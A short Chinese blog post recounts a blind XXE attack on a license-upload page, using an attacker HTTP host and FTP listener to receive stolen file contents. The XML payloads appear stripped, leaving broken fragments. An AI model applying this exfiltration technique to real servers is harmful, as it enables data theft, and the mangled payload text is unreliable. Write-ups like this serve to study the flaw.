记一次blind-XXE漏洞的利用

背景

介绍XXE漏洞的文章已经很多了,这里就不啰嗦再写。
这次的XXE是某系统页面提交一个xml文件来进行license验证的过程中形成的。
XXE无回显。
假设攻击者主机ip:192.168.100.1

利用

首先需要在攻击者主机上开启两个服务:
1.http
主要是放置需要嵌套的实体声明,用来发送数据到攻击者主机,本例中是test.xml
内容如下:

">  

2.ftp
使用ftp协议的原因是,ftp协议可以使攻击者读到任意长度的文件,而且不受空格、换行符等的影响(之前尝试把数据提交给写好的php,但是只能读取到没有换行符且在空格或tab之前的数据)

这个是别人写好的python,用来开启监听,直接拿来用了

https://gist.github.com/staaldraad/280f167f5cb49a80b4a3

最后发送给受害服务器的xml文件内容如下:

  
  
  
%remote;  
%all;  
]>  
&send; 

这里需要注意的是remote、all、send的顺序不能错,首先对remote引用目的是将外部文件test.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发。

参考:http://blog.csdn.net/u011721501/article/details/43775691

你可能感兴趣的:(记一次blind-XXE漏洞的利用)